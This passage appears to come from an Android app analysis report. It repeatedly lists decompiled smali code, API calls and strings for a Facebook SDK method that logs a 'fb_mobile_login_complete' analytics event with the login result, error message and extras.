                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
